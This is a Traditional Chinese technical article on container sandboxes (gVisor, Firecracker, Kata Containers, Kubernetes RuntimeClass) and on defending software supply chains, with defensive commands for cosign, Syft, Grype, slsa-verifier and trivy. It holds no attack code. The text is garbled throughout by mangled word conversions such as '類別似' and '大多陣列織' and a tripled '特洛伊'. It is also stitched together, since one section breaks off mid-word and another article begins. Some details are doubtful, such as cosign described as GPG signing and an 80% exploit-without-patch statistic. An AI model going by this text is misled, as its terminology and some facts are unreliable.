- gVisor:提供系統呼叫級別的隔離,適合需要較高安全性但不需要完全虛擬機器隔離的場景。
- Firecracker:提供輕量級虛擬機器隔離,平衡了隔離性和效能。
- Kata Containers:提供完整的虛擬機器隔離,適合對安全要求極高的場景。
效能與資源開銷
各技術在啟動時間、執行時開銷和資源使用上有顯著差異:
- gVisor:系統呼叫攔截帶來一定開銷,但啟動迅速,適合短期執行的工作負載。
- Firecracker:啟動快於傳統VM但慢於純容器,執行時開銷較小。
- Kata Containers:啟動時間取決於所選後端,資源使用較為靈活。
應用程式相容性
- gVisor:由於不支援所有系統呼叫,某些應用可能無法執行。
- Firecracker:支援任意Linux二進位,但對核心有特定要求。
- Kata Containers:提供最廣泛的相容性,幾乎可執行任何容器化應用。
生態系統整合
- gVisor:與Docker和Kubernetes有良好整合。
- Firecracker:需要透過firecracker-containerd與容器生態系統整合。
- Kata Containers:作為OCI執行時,與大多數容器協調系統相容。
技術選型建議與最佳實踐
根據不同的使用場景,玄貓建議:
多租戶環境:在需要強隔離的多租戶環境中,Kata Containers或Firecracker提供最佳保護。
無伺服器計算:對於短期執行的函式,Firecracker提供了良好的啟動效能和安全隔離。
一般工作負載:對於大多數企業工作負載,gVisor提供了良好的安全性和相容性平衡。
混合佈署策略:在同一叢集中佈署多種沙盒技術,根據工作負載的安全需求動態選擇。
在實施這些技術時,應考慮以下最佳實踐:
- 定期更新沙盒技術版本以取得安全修復
- 進行全面的應用相容性測試
- 監控效能指標以識別潛在瓶頸
- 實施多層安全策略,不僅依賴沙盒技術
容器沙盒技術代表了容器安全的重要進步。透過提供不同程度的隔離和保護,這些技術使組織能夠安全地執行容器化工作負載,即使在分享或不受信任的環境中也是如此。隨著這些技術的不斷發展,我們可以期待更好的效能、更強的安全性和更廣泛的應用相容性。
Kata Containers 架構與元件
Kata Containers 提供了一個獨特的容器執行時架構,結合了虛擬機器的安全隔離與容器的輕量級特性。讓我們深入瞭解其核心元件和運作方式。
Kata Containers 的核心元件
Kata Containers 由幾個關鍵元件組成,這些元件共同工作以提供安全的容器環境:
kata-runtime - 作為虛擬機器監視器(VMM)執行,同時提供OCI執行時介面。它負責管理虛擬機器的生命週期。
kata-proxy - 處理kata-agent(因此也包括應用程式)的I/O操作,使用KVM的virtio-serial,並在同一連線上多路復用命令通道。
kata-shim - 作為容器引擎的介面,處理容器生命週期、訊號和日誌。
虛擬機器與客戶環境
Kata Containers使用KVM配合QEMU或Firecracker啟動客戶環境。專案曾經兩次fork QEMU以實驗更輕量級的啟動時間,並將許多功能重新實作回QEMU中。目前QEMU比最近的fork版本NEMU更受青睞。
在虛擬機器內部:
- QEMU啟動一個最佳化過的核心
- systemd啟動kata-agent程式
- kata-agent使用libcontainer(與runc分享大量程式碼)管理虛擬機器內執行的容器
網路與安全性
- 網路功能透過與CNI(或Docker的CNM)整合提供
- 每個虛擬機器建立一個網路名稱空間
- 由於其網路模型,無法加入主機網路
- 目前未實作SELinux和AppArmor支援
- 某些OCI不一致性限制了與Docker的整合
rust-vmm: 虛擬機器監視器的新方向
許多新的虛擬機器監視器(VMM)技術都包含Rust語言元件。那麼Rust語言究竟有何優勢?
Rust語言的優勢
- 與Golang類別似,Rust具有記憶體安全特性(記憶體模型、virtio等)
- 建立在記憶體所有權模型之上,避免了整類別錯誤,包括釋放後使用、重複釋放和懸空指標問題
- 提供安全簡單的並發處理
- 沒有垃圾收集器(可能會產生一些虛擬化開銷和延遲)
- 透過構建時分析發現段錯誤和記憶體問題
rust-vmm專案
rust-vmm是一個開發新VMM的工具包,它是虛擬化元件的Rust包(或稱「crates」)集合:
- 這些元件經過充分測試(因此更安全)並提供簡單、乾淨的介面
- 例如,vm-memory crate是一個客戶記憶體抽象,提供客戶地址、記憶體區域和客戶分享記憶體
該專案源自ChromeOS的cross-vm (crosvm),後被Firecracker fork,最終抽象為「從零開始的hypervisor」Rust crates。這種方法將實作可插拔的hypervisor架構。
如果你想了解如何構建執行時,可以檢視Youki專案。這是一個用Rust編寫的實驗性容器執行時,實作了runc執行時規範。
沙箱技術的風險
安全性挑戰
客戶程式對主機功能或其虛擬化版本的存取和特權程度,直接影響了攻擊者控制客戶程式時可用的攻擊面。
我們需要認識到的幾個關鍵風險因素:
新程式碼的風險 - 這些新的沙箱技術正在積極開發中。作為新程式碼,它們面臨可能被利用的漏洞風險。然而,這是軟體的事實,比完全沒有新軟體要好得多!
尚未成為攻擊目標 - 這些沙箱可能還不是攻擊者的目標。創新水平和基礎知識的門檻設定得很高,攻擊者可能會優先考慮更容易的目標。
管理難度增加 - 從管理員的角度看,修改或除錯沙箱內的應用程式變得稍微困難,類別似於裸機和容器化程式之間的差異。這些困難並非不可克服,但需要管理員熟悉底層執行時。
特權沙箱風險 - 仍然可以執行在客戶環境中具有提升能力的特權沙箱。雖然風險位元權容器少,但使用者應該意識到,任何隔離的減少都會增加在沙箱內執行程式的風險。
Kubernetes Runtime Class
Kubernetes和Docker支援同時執行多個容器執行時。在Kubernetes中,Runtime Class從v1.20開始穩定。這意味著Kubernetes工作節點可以託管在不同容器執行時介面(CRI)下執行的Pod,大增強了工作負載分離能力。
實作方式
- 使用
spec.template.spec.runtimeClassName
可以透過CRI為Kubernetes工作負載指定沙箱 - Docker能夠執行任何OCI相容的執行時(如runc, runsc),但Kubernetes的kubelet使用CRI
- 雖然Kubernetes尚未區分沙箱型別,但我們仍可設定節點親和性和容忍度,使Pod排程到安裝了相關沙箱技術的節點上
使用新的CRI執行時
- 建立一個非名稱空間的RuntimeClass:
apiVersion: node.k8s.io/v1
kind: RuntimeClass
metadata:
name: gvisor # RuntimeClass將被參照的名稱
# RuntimeClass是一個非名稱空間資源
handler: gvisor # 對應CRI設定的名稱
- 在Pod定義中參照CRI執行時類別:
apiVersion: v1
kind: Pod
metadata:
name: my-gvisor-pod
spec:
runtimeClassName: gvisor
# ...
這將使用gvisor啟動一個新的Pod。請記住,runsc(gVisor的執行時元件)必須安裝在Pod排程的節點上。
在選擇容器執行時技術時,我們需要考慮以下幾個關鍵點:
- 安全性與複雜性平衡:沙箱通常更安全,而容器則複雜性較低
- 介面考量:執行敏感或不受信任的工作負載時,應縮小沙箱程式與主機之間的介面
- 除錯難度:使用沙箱會使除錯流程變得更加困難,傳統跟蹤工具可能沒有良好的相容性
- 效能開銷:沙箱比容器有輕微的效能開銷(約50-200毫秒的啟動時間),對某些工作負載可能微不足道,建議進行基準測試
- 平台限制:選項可能受平台或巢狀虛擬化選項限制
下一代執行時專注於剝離傳統相容性,使它們非常小巧與啟動速度非常快(相較於傳統虛擬機器)—雖然不如LXC或runc快,但足以讓FaaS提供商提供積極的擴充套件率。
傳統容器執行時如LXC和runc啟動更快,因為它們在現有核心上執行程式。沙箱需要設定自己的客戶核心,導致啟動時間略長。
採用建議
- 代管服務:最容易採用的是代管服務,如GKE中的gVisor和AWS Fargate中的Firecracker
- 廣泛支援:gVisor、Firecracker和Kata都可以在支援虛擬化的任何地方執行
- 未來發展:rust-vmm函式庫有望帶來更多執行時,以保護有價值的工作負載安全
- 工作負載隔離:在專用節點上使用沙箱隔離最敏感的工作負載,為系統提供最大的抵抗實際入侵的能力
應用程式與供應鏈安全
SUNBURST供應鏈攻擊是一個嚴重的安全事件,攻擊者透過隱藏在合法簽名的、受損的伺服器監控代理中的惡意軟體,入侵了美國政府和財富500強企業的網路。Cozy Bear駭客組織使用了一系列技術實作了這次攻擊,同時入侵了許多價值數十億美元的公司。
供應鏈攻擊的影響與風險
被攻擊的組織遭受了資料損失,並可能被用作進一步攻擊其客戶的跳板。這就是「受信任」供應鏈的本質風險:當你被入侵時,任何消費你產品的人都可能成為潛在目標。已建立的信任關係被利用,導致惡意軟體被無意中信任。
研究表明,80%的新公開漏洞存在利用程式但沒有相應的軟體修補程式或解決方法。面對這種級別的風險,防止惡意行為者存取內部網路是主要防線。
SUNBURST攻擊入侵了SolarWinds的構建管道,在程式碼構建前立即更改原始碼,然後隱藏篡改證據,並確保二進位檔案由CI/CD系統簽名,從而實作了這次大規模攻擊。
這類別供應鏈攻擊凸顯了現代軟體開發中的一個關鍵挑戰:我們必須不僅關注自己的安全實踐,還要考慮整個供應鏈的安全性。在容器和雲原生環境中,這種風險更為複雜,因為我們依賴的元件和服務數量急劇增加。
在實施容器化基礎設施時,必須建立全面的供應鏈安全策略,包括映像掃描、執行時保護和持續監控,以降低類別似SUNBURST這樣的供應鏈攻擊風險。
供應鏈攻擊:現代資安的隱形威脅
在資安領域中,供應鏈攻擊已成為一種令人擔憂的新興威脅。這類別攻擊之所以特別危險,在於它們利用組織對第三方元件的信任,透過受汙染的依賴專案滲透進網路系統。這些技術之前在 Mitre ATT&CK 框架中並未被完整記錄,但已造成多起嚴重的網路入侵事件,導致軍事、政府和企業機密遭到竊取。
供應鏈安全的核心挑戰
想像一下,一位名為「Hashjack船長」的數位罪犯,正試圖透過你的依賴專案(程式函式庫、工具或其他資源)秘密進入組織網路。防止這類別入侵正是供應鏈安全的核心任務:保護我們的來源。
在雲原生環境中,供應鏈提供了攻擊者全新的入侵途徑 - 透過代理攻擊取得對系統的信任存取權。這意味著攻擊容器軟體供應鏈,以獲得對脆弱工作負載和伺服器的遠端控制,並在整個組織中串連利用漏洞和後門。
供應鏈攻擊的基本原理
預設安全的迷思
若不針對性地緩解,供應鏈攻擊相對簡單:它們影響我們系統中那些通常不會直接觀察的可信部分,例如供應商的 CI/CD 流程。
這是個複雜的問題。隨著攻擊技術的演進和雲原生系統的適應,供應鏈風險在開發、測試、分發和執行時階段會不斷變化。玄貓在多年的安全實踐中觀察到,大多陣列織對供應鏈風險的認識仍處於初級階段,尤其在容器環境中更是如此。
威脅模型與防禦思維
大多數應用程式預設並未經過安全強化,需要花時間進行安全設定。OWASP 應用安全驗證標準提供了應用安全指導,這裡不做探討,但有一點必須強調:執行過時或錯誤百出的軟體會讓攻擊者的工作變得輕而易舉。
對於任何執行的軟體,嚴謹的邏輯和安全測試都是不可或缺的。這涵蓋了從開發人員的編碼風格和網頁應用安全標準,到容器內部所有元件的供應鏈。需要投入工程努力來確保它們在初始狀態和更新後都保持安全。
軟體開發生命週期中的風險點
在軟體開發生命週期(SDLC)中,依賴專案特別容易受到攻擊,為攻擊者提供執行惡意程式碼(“有效載荷”)的機會:
- 安裝階段(套件管理器鉤子,可能以 root 許可權執行)
- 開發和測試階段(IDE、構建和執行測試)
- 執行階段(本地、開發、預備和生產環境中的 Kubernetes Pod)
當有效載荷執行時,它可能會寫入更多程式碼到檔案系統或從網路提取惡意軟體。它可能在開發人員的筆電、CI 伺服器或生產環境中搜尋資料。任何被竊取的憑證都將成為攻擊的下一階段。
值得注意的是,應用程式並非唯一面臨風險的軟體:由於基礎設施、策略和安全性都以程式碼定義,系統中任何攻擊者可以滲透的指令碼或自動化點都必須納入考量,因此都在威脅模型的範圍內。
深入理解軟體供應鏈
供應鏈的基本概念
軟體供應鏈關注的是檔案的移動:原始碼、應用程式和資料。它們可能是純文字、加金鑰件,存在於實體儲存介質或雲端。
供應鏈存在於任何由其他元件構建的事物中 - 可能是人類攝取的東西(食物、藥物)、使用的物品(CPU、汽車)或互動的系統(作業系統、開放原始碼軟體)。任何商品交換都可以被建模為供應鏈,而有些供應鏈龐大與複雜。
容器供應鏈的複雜性
每個使用的依賴項都可能是一個惡意植入物,等待在系統中執行時觸發,以佈署其有效載荷。容器供應鏈冗長與可能包括:
- 基礎映像
- 已安裝的作業系統套件
- 應用程式碼和依賴項
- 公共 Git 倉函式庫
- 開放原始碼成品
- 任意檔案
- 可能增加的任何其他資料
如果在供應鏈的任何步驟中增加了惡意程式碼,它可能會被載入到 Kubernetes 叢集中執行容器的可執行記憶體中。這正是攻擊者利用惡意有效載荷的目標:將壞程式碼偷放入受信任的軟體中,並利用它從組織內部發起攻擊,在那裡防禦可能較弱,因為存在「邊界」會阻擋攻擊者的假設。
供應鏈的生產者與消費者關係
供應鏈的每個環節都有生產者和消費者。以CPU晶片為例,生產者是製造商,下一個消費者是經銷商。在實際情況中,供應鏈的每個階段可能有多個生產者和消費者。
下表展示了不同供應鏈的比較:
供應鏈階段 | 農場食品 | CPU晶片 |
---|---|---|
原始生產者 | 農民(種子、飼料、收割機) | 製造商(原料、製造廠、韌體) |
連線到 | 經銷商(銷售給商店或其他經銷商) | 經銷商(銷售給商店或其他經銷商) |
連線到 | 當地食品商店 | 廠商或當地電腦商店 |
連線到最終消費者 | 終端使用者 | 終端使用者 |
供應鏈攻擊的影響範圍
任何不在直接控制下的供應鏈階段都可能遭受攻擊。任何「上游」階段的妥協 - 例如,被消費的階段 - 可能會影響下游消費者。
例如,一個開放原始碼軟體專案可能有三個具有將外部程式碼合併到程式碼函式庫許可權的貢獻者(或「受信任生產者」)。如果其中一個貢獻者的密碼被盜,攻擊者可以將自己的惡意程式碼增加到專案中。然後,當開發人員將該依賴項拉入他們的程式碼函式庫時,他們就在內部系統上執行攻擊者的敵對程式碼。
非惡意妥協的風險
但妥協不一定是惡意的。就像 npm event-stream 漏洞一樣,有時可能是像尋求將維護權轉交給現有與可信的維護者這樣無辜的事情,但該維護者隨後變得不可靠並插入自己的有效載荷。
值得注意的是,在這個案例中,易受攻擊的 event-stream 套件被下載了1200萬次,並被1600多個其他套件所依賴。有效載荷搜尋開發人員機器上的「熱門加密貨幣錢包」以進行竊取。如果這個攻擊轉而竊取SSH和GPG金鑰並用它們進一步傳播攻擊,妥協範圍可能更廣。
成功的供應鏈攻擊通常難以檢測,因為消費者信任每個上游生產者。如果單個生產者被妥協,攻擊者可能針對個別下游消費者或僅選擇最高價值的目標。
軟體供應鏈的特殊性
軟體依賴的共生特性
對於雲環境,資料中心的實體和網路安全由提供商管理,但確保系統使用安全是使用者的責任。這意味著我們對使用的硬體安全有高度信心。使用方式 - 安裝的軟體及其行為 - 是供應鏈風險開始的地方。
軟體由許多其他軟體構建。不像CPU製造那樣將惰性元件組裝成結構,軟體更像是共生的合作生物群體。每個元件可能是自主的並選擇合作(CLI工具、伺服器、作業系統),或者除非以特定方式使用否則無用(glibc、連結函式庫、大多數應用依賴項)。
任何軟體都可以是自主的或合作的,而與不可能決定性地證明它在任何時刻屬於哪一類別。這意味著測試程式碼(單元測試、驗收測試)仍可能包含惡意程式碼,這些程式碼會開始探索持續整合(CI)構建環境或執行它的開發人員機器。
安全的困境
這帶來一個難題:如果惡意程式碼可以隱藏在系統的任何部分,我們如何能夠確定整個系統是安全的?
這正是玄貓在實務工作中面臨的核心挑戰。在雲原生環境中,這個問題變得更加複雜,因為容器和微服務架構大增加了依賴項的數量和複雜性。
容器環境中的供應鏈風險
容器技術的興起為供應鏈安全帶來了新的維度。一方面,容器提供了有效的隔離機制,可以限制潛在的損害範圍;另一方面,容器映像的層次結構和大量依賴項也增加了攻擊面。
容器的雙面性
在我的實踐中發現,容器可以:
- 有效隔離風險 - 適當設定的容器可以限制惡意程式碼的影響範圍,防止橫向移動
- 放大供應鏈風險 - 基礎映像中的漏洞可能影響所有派生映像,形成級聯效應
容器供應鏈的特殊考量
使用容器時,需要特別注意:
- 基礎映像選擇 - 使用官方或可信來源的精簡映像
- 多階段構建 - 減少最終映像中不必要的工具和依賴項
- 映像掃描 - 定期掃描容器映像中的已知漏洞
- 不可變基礎設施 - 採用不可變佈署模式,減少執行時修改風險
容器映像層與風險傳播
容器映像由多個層組成,每層都代表一個構建步驟。當我們執行 docker build
時,每個 RUN
命令都會建立一個新層。這種分層機制雖然提高了效率,但也意味著底層的安全問題會影響所有上層。
例如,如果基礎映像中的 OpenSSL 有漏洞,所有使用該基礎映像的容器都會繼承這個漏洞,除非在上層中明確更新了該函式庫。這就是為什麼持續更新基礎映像如此重要的原因。
防禦策略:構建安全的供應鏈
面對供應鏈攻擊,被動防禦已經不夠。組織需要主動構建安全的供應鏈,從源頭減少風險。
供應鏈安全的關鍵原則
- 最小化信任 - 驗證所有輸入,即使來自「受信任」的來源
- 依賴項稽核 - 定期審查和評估所有依賴項
- 軟體物料清單(SBOM) - 維護完整的軟體元件清單
- 完整性驗證 - 使用密碼學簽名和校驗和驗證軟體完整性
- 自動化漏洞掃描 - 在CI/CD流程中整合自動安全掃描
實施供應鏈防禦的實用步驟
在實踐中,我發現以下方法特別有效:
程式碼簽名與驗證
# 使用GPG簽名容器映像
cosign sign --key cosign.key my-registry.io/my-image:tag
# 在佈署前驗證簽名
cosign verify --key cosign.pub my-registry.io/my-image:tag
這段程式碼展示瞭如何使用 cosign
工具對容器映像進行簽名和驗證。簽名過程會在映像的中繼資料中增加一個數位簽名,驗證過程則會檢查該簽名是否有效。這確保了從構建到佈署的過程中,容器映像沒有被篡改。
實施這種機制可以有效防止未經授權的映像在生產環境中執行,即使攻擊者成功滲透了映像倉函式庫,也無法佈署未簽名的惡意映像。
依賴項掃描與修復
# GitHub Dependabot 設定範例 (.github/dependabot.yml)
version: 2
updates:
- package-ecosystem: "npm"
directory: "/"
schedule:
interval: "daily"
open-pull-requests-limit: 10
- package-ecosystem: "docker"
directory: "/"
schedule:
interval: "weekly"
這個設定檔案設定了 GitHub Dependabot 自動掃描專案中的 npm 套件和 Docker 映像依賴項。對於 npm 套件,它會每天檢查更新,而對於 Docker 映像則每週檢查一次。當發現安全更新時,Dependabot 會自動建立提取請求,建議更新有風險的依賴項。
這種自動化機制對於大型專案尤其重要,因為手動跟蹤所有依賴項的安全更新幾乎是不可能的。它能夠顯著減少依賴項中已知漏洞的暴露時間。
供應鏈攻擊的案例分析:SUNBURST
SUNBURST 攻擊是一個值得深入研究的供應鏈攻擊案例。在這次攻擊中,攻擊者透過滲透 SolarWinds 的構建系統,在其 Orion 產品中植入了後門。
攻擊分析
- 攻擊者首先滲透了 SolarWinds 的構建環境
- 他們在正常構建過程中注入了惡意程式碼
- 這段程式碼被數字簽名並分發給了 18,000 多名客戶
- 後門程式碼在安裝後保持休眠狀態長達兩週
- 啟用後,它使用複雜的規避技術避免檢測
- 最終,它建立了與攻擊者控制伺服器的連線
雲原生防禦的思考
如果目標組織採用了雲原生架構和強化的供應鏈安全措施,是否能夠防禦 SUNBURST 攻擊?這是一個值得思考的問題。
在我看來,完全防禦如此複雜的供應鏈攻擊幾乎不可能,但可以透過以下方式顯著提高攻擊成本並減少影響:
- 零信任架構 - 即使是受信任的軟體也需要持續驗證
- 行為監控 - 檢測異常的網路通訊模式
- 最小許可權原則 - 限制每個元件的許可權範圍
- 網路隔離 - 限制容器和服務之間的通訊
- 不可變基礎設施 - 定期重建環境,限制持久化後門的機會
構建韌性供應鏈的實用策略
傳統的安全方法已不足以應對現代供應鏈攻擊。組織需要構建具有韌性的供應鏈,能夠在攻擊發生時快速檢測、回應和還原。
供應鏈韌性的關鍵要素
- 可觀察性 - 全面監控所有供應鏈元件
- 可追溯性 - 能夠追溯任何元件的來源和歷史
- 自動化修復 - 快速佈署安全更新的能力
- 異常檢測 - 使用機器學習識別異常行為
- 事件回應計劃 - 準備專門針對供應鏈攻擊的回應計劃
實施軟體物料清單(SBOM)
SBOM 已成為供應鏈安全的關鍵工具。它提供了軟體元件的完整清單,包括所有依賴項和其版本訊息。
# 使用 Syft 生成容器映像的 SBOM
syft my-registry.io/my-image:tag -o json > image-sbom.json
# 使用 Grype 掃描 SBOM 中的漏洞
grype sbom:image-sbom.json
這個範例展示瞭如何使用 Anchore 的 Syft 工具生成容器映像的軟體物料清單(SBOM),然後使用 Grype 工具掃描該 SBOM 中的漏洞。
SBOM 本質上是一個「配料表」,列出了軟體中使用的所有元件。這對於快速識別受影響的系統至關重要,特別是當發現新漏洞時。例如,當 Log4Shell 漏洞被發現時,擁有準確 SBOM 的組織能夠立即識別哪些系統使用了受影響的 Log4j 版本,而不需要進行全面掃描。
持續依賴項管理
依賴項管理不是一次性活動,而是一個持續過程。組織需要:
- 定期稽核 - 評估依賴項的安全歷史和維護狀態
- 版本控制策略 - 明確的依賴項版本控制和更新策略
- 風險評估 - 對關鍵依賴項進行深入風險評估
- 替代計劃 - 為關鍵依賴項準備替代方案
容器環境中的供應鏈安全最佳實踐
容器環境為供應鏈安全提供了獨特的挑戰和機會。以下是一些針對容器環境的最佳實踐:
基礎映像安全
- 使用精簡映像 - 選擇 Alpine 或 distroless 等最小化基礎映像
- 官方映像優先 - 優先使用官方維護的映像
- 定期更新 - 建立基礎映像的定期更新機制
- 映像掃描 - 在CI/CD流程中整合映像掃描
執行時保護
- 容器沙箱 - 考慮使用 gVisor 或 Kata Containers 等容器沙箱技術
- 強制執行安全策略 - 使用 OPA/Gatekeeper 或 Kyverno 強制執行安全策略
- 執行時監控 - 佈署容器執行時安全監控解決方案
- 無特權容器 - 以非 root 使用者執行容器,停用不必要的能力
實用的 Kubernetes 安全設定
# Pod 安全上下文範例
apiVersion: v1
kind: Pod
metadata:
name: secure-pod
spec:
securityContext:
runAsNonRoot: true
runAsUser: 1000
fsGroup: 2000
containers:
- name: app
image: my-registry.io/my-image:tag
securityContext:
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
capabilities:
drop:
- ALL
這個 Kubernetes Pod 設定範例展示瞭如何實施多層安全控制來減少供應鏈攻擊的影響:
runAsNonRoot: true
確保容器不能以 root 使用者身份執行runAsUser: 1000
指定一個非特權使用者 IDallowPrivilegeEscalation: false
防止容器取得更多許可權readOnlyRootFilesystem: true
使根檔案系統只讀,防止惡意程式碼寫入持久化後門- 丟棄所有 Linux 能力,只保留絕對必要的能力
這些設定即使在容器映像被攻擊者控制的情況下,也能顯著限制可能造成的損害。它體現了「深度防禦」的安全理念 - 即使供應鏈的一個環節被攻破,其他防禦層仍能提供保護。
供應鏈安全的未來趨勢
隨著技術的發展,供應鏈安全也在不斷演進。以下是一些值得關注的趨勢:
新興技術與方法
- 可驗證構建 - 如 Google 的 Binary Authorization 和 SLSA 框架
- 零信任供應鏈 - 將零信任原則擴充套件到整個供應鏈
- AI 輔助檢測 - 使用機器學習檢測供應鏈中的異常行為
- 區塊鏈與供應鏈透明度 - 使用分散式賬本技術提高供應鏈透明度
- 策略即程式碼 - 將安全策略編碼並自動執行
SLSA 框架:供應鏈安全的新標準
供應鏈級別軟體成品(SLSA)是一個由 Google 主導的框架,旨在提高軟體供應鏈的安全性。它定義了四個逐漸提高的安全級別,每個級別都增加了更嚴格的要求。
# 使用 slsa-verifier 驗證成品的 SLSA 證明
slsa-verifier verify-artifact artifact.tar.gz \
--provenance-path provenance.json \
--source-uri github.com/owner/repo
這段命令使用 slsa-verifier
工具來驗證軟體成品的 SLSA 證明。它檢查成品是否確實來自聲稱的來源,並且在構建過程中沒有被篡改。
SLSA 框架的核心理念是,供應鏈安全不僅關乎檢測漏洞,更關乎確保軟體從原始碼到佈署的整個過程的完整性。這包括確保構建環境的安全、構建過程的可重現性,以及成品的可驗證性。
對於達到 SLSA 級別 4(最高階別)的組織,幾乎可以確保其軟體供應鏈不會被未經授權的方式修改,這對於防禦像 SUNBURST 這樣的攻擊至關重要。
建立組織的供應鏈安全計劃
供應鏈安全不僅是技術問題,還需要組織層面的支援和策略。以下是建立有效供應鏈安全計劃的步驟:
組織準備與策略
- 安全文化培養 - 提高開發團隊對供應鏈風險的意識
- 明確責任分配 - 確定誰負責供應鏈安全的各個方面
- 風險評估框架 - 建立評估第三方元件風險的框架
- 應急回應計劃 - 制定專門針對供應鏈攻擊的應急回應計劃
- 持續改進 - 定期評估和改進供應鏈安全措施
實用的供應鏈安全檢查清單
對於剛開始建立供應鏈安全計劃的組織,以下檢查清單可以提供一個起點:
- 依賴項清單 - 建立並維護所有使用的依賴項清單
- 風險評估 - 對關鍵依賴項進行風險評估
- 自動掃描 - 實施自動依賴項掃描
- 更新策略 - 制定明確的依賴項更新策略
- 驗證機制 - 實施依賴項的完整性驗證機制
- 監控 - 建立異常行為監控系統
- 應急計劃 - 制定供應鏈攻擊應急計劃
- 培訓 - 對開發團隊進行供應鏈安全培訓
結論與展望
供應鏈攻擊代表了現代網路安全領域的重大挑戰,特別是在雲原生環境中。這些攻擊利用我們對第三方元件的信任,透過汙染依賴項來滲透組織網路。
隨著軟體開發變得越來越模組化和分散式,供應鏈攻擊的風險只會增加。組織需要採取全面的方法來保護其供應鏈,包括技術控
軟體供應鏈安全:現代容器佈署的關鍵挑戰
在當前的雲原生環境中,軟體供應鏈安全已成為不可忽視的關鍵問題。任何非簡單的軟體佈署幾乎都會包含某些漏洞,這些漏洞可能成為攻擊者的入口點。管理這種風險需要我們能夠識別存在的漏洞、評估其嚴重性、進行優先順序排序,並建立修復或緩解這些問題的流程。
供應鏈安全的平衡藝術
軟體供應鏈管理是一項複雜的挑戰。它要求我們接受一定程度的風險,同時確保有合理的措施在軟體進入系統執行前檢測潛在危險。這種風險需要與收益進行平衡—每增加一道控制,構建過程就會變得更昂貴、更難維護,每個步驟的成本也會顯著提高。
值得注意的是,若不實施CNCF安全技術諮詢小組檔案中詳述的全方位控制措施,對供應鏈的完全信任幾乎是不可能的。我們必須假設沒有任何控制是完全有效的,並在構建機器上執行入侵檢測作為防禦針對性或廣泛的零日漏洞的最後一道防線。
最低可行的雲原生安全:CVE掃描
CVE掃描的重要性
已知漏洞會發布CVE(通用漏洞披露),忽略或未能修補這些漏洞將為攻擊者提供輕鬆進入系統的機會。開放原始碼軟體在其構建指令中列出了依賴項(如pom.xml、package.json、go.mod、requirements.txt、Gemfile等),這使我們能夠瞭解其組成。因此,我們應該使用像trivy這樣的工具掃描這些依賴項中的CVE。這是保護供應鏈的最低成本防禦措施,應該被視為最低可行的容器安全流程的一部分。
Trivy工具介紹
trivy能夠掃描多種環境中的靜態程式碼:
- 容器映像中
- 檔案系統中
- Git倉函式庫中
它會報告已知的漏洞。掃描CVE是將程式碼發布到生產環境的最低安全要求。
實際範例:使用Trivy掃描本地目錄
$ trivy fs .
2021-02-22T10:11:32.657+0100 INFO Detected OS: unknown
2021-02-22T10:11:32.657+0100 INFO Number of PL dependency files: 2
2021-02-22T10:11:32.657+0100 INFO Detecting gomod vulnerabilities...
2021-02-22T10:11:32.657+0100 INFO Detecting npm vulnerabilities...
infra/build/go.sum
==================================
Total: 2 (UNKNOWN: 0, LOW: 0, MEDIUM: 0, HIGH: 2, CRITICAL: 0)
+-----------------------------+------------------+----------+-------------...
| LIBRARY | VULNERABILITY ID | SEVERITY | INST...
+-----------------------------+------------------+----------+-------------...
| github.com/dgrijalva/jwt-go | CVE-2020-26160 | HIGH | 3.2.0+incomp...
| | | | ...
| | | | ...
+-----------------------------+------------------+----------+-------------...
| golang.org/x/crypto | CVE-2020-29652 | | 0.0.0-202006...
| | | | ...
| | | | ...
| | | | ...
+-----------------------------+------------------+----------+-------------...
infra/api/code/package-lock.json
====================================================
Total: 0 (UNKNOWN: 0, LOW: 0, MEDIUM: 0, HIGH: 0, CRITICAL: 0)
上面的命令執行了對當前工作目錄(.)檔案系統(fs)的掃描。掃描結果顯示:
在
infra/build/go.sum
中發現了兩個高嚴重性漏洞:- github.com/dgrijalva/jwt-go 函式庫中的 CVE-2020-26160
- golang.org/x/crypto 函式庫中的 CVE-2020-29652
而
infra/api/code/package-lock.json
中沒有檢測到漏洞。
這個範例展示瞭如何掃描供應鏈中的程式碼,檢查是否存在易受攻擊的依賴項。但程式碼本身的安全性又如何呢?
安全引入開放原始碼軟體的挑戰
信任難題
安全地引入程式碼是困難的:我們如何證明容器映像是從我們在GitHub上看到的相同原始碼構建的?或者,如果不從原始碼重建,我們如何確認編譯後的應用程式就是我們閱讀過的相同開原始碼?
雖然開放原始碼已經很困難,但封閉原始碼帶來的挑戰更大。我們如何與供應商建立並驗證信任關係?
這個問題自1983年Ken Thompson發表"Reflections on Trusting Trust"(對信任的反思)以來一直被研究:
“在多大程度上應該相信一個程式沒有特洛伊特洛伊特洛伊木馬?也許更重要的是信任編寫軟體的人。”
信任問題是許多人類互動的基礎,也是最初網際網路的基礎。Thompson繼續說道:
“道理很明顯。你不能信任不是完全由你自己建立的程式碼。(尤其是來自僱用像我這樣的人的公司的程式碼。)任何原始碼級別的驗證或審查都無法保護你免受使用不受信任程式碼的影響…隨著程式級別的降低,這些錯誤將越來越難以檢測。一個安裝良好的微程式碼錯誤幾乎不可能被檢測到。”
這些安全性的哲學問題影響著組織的供應鏈,也影響著客戶。核心問題仍未解決,與很難完全糾正。
從消費者到生產者的轉變
雖然組織與軟體的傳統關係被定義為消費者,但當開始在GitHub上公開放原始碼時,組織也成為了生產者。這種區別在當今大多數企業組織中都存在,因為大多陣列織尚未適應其新的生產者責任。
建立生產者信任機制
要保護供應鏈,我們必須信任我們的生產者。這些是組織外部的實體,可能包括:
關鍵的信任實體
安全提供商
- 根證書頒發機構(用於驗證網路上的其他伺服器)
- DNSSEC(用於回傳傳輸的正確地址)
加密演算法和實作
- GPG、RSA和Diffie-Hellman等(用於保護傳輸中和靜態資料)
硬體支援者
- 作業系統、CPU/韌體和驅動程式供應商(提供低階硬體互動)
應用程式開發者和包維護者
- 防止透過分發的包安裝惡意程式碼
開放原始碼和社群營運的團隊、組織和標準機構
- 為了共同利益發展技術和社群
供應商、通路商和銷售代理
- 不安裝後門或惡意軟體
所有人
- 不要有可被利用的錯誤
分層安全控制:實作可行的供應鏈安全
你可能會想知道是否有可能完全保護供應鏈,答案是否定的。沒有什麼是完全安全的,但一切都可以被強化,使其對除最熟練的威脅行為者之外的所有人都不那麼吸引。這一切都是關於平衡安全控制層,可能包括:
物理雙因素認證(2FA)
- GPG簽名:如Yubikeys
- WebAuthn、FIDO2專案和物理安全令牌:如RSA令牌
人為冗餘措施
- 作者不能合併自己的PR
- 為關鍵流程增加第二人簽署
透過在不同環境中執行相同流程並比較結果實作複製
- reprotest和可重複構建倡議:參見Debian和Arch Linux中的範例
CNCF安全技術諮詢小組的建議
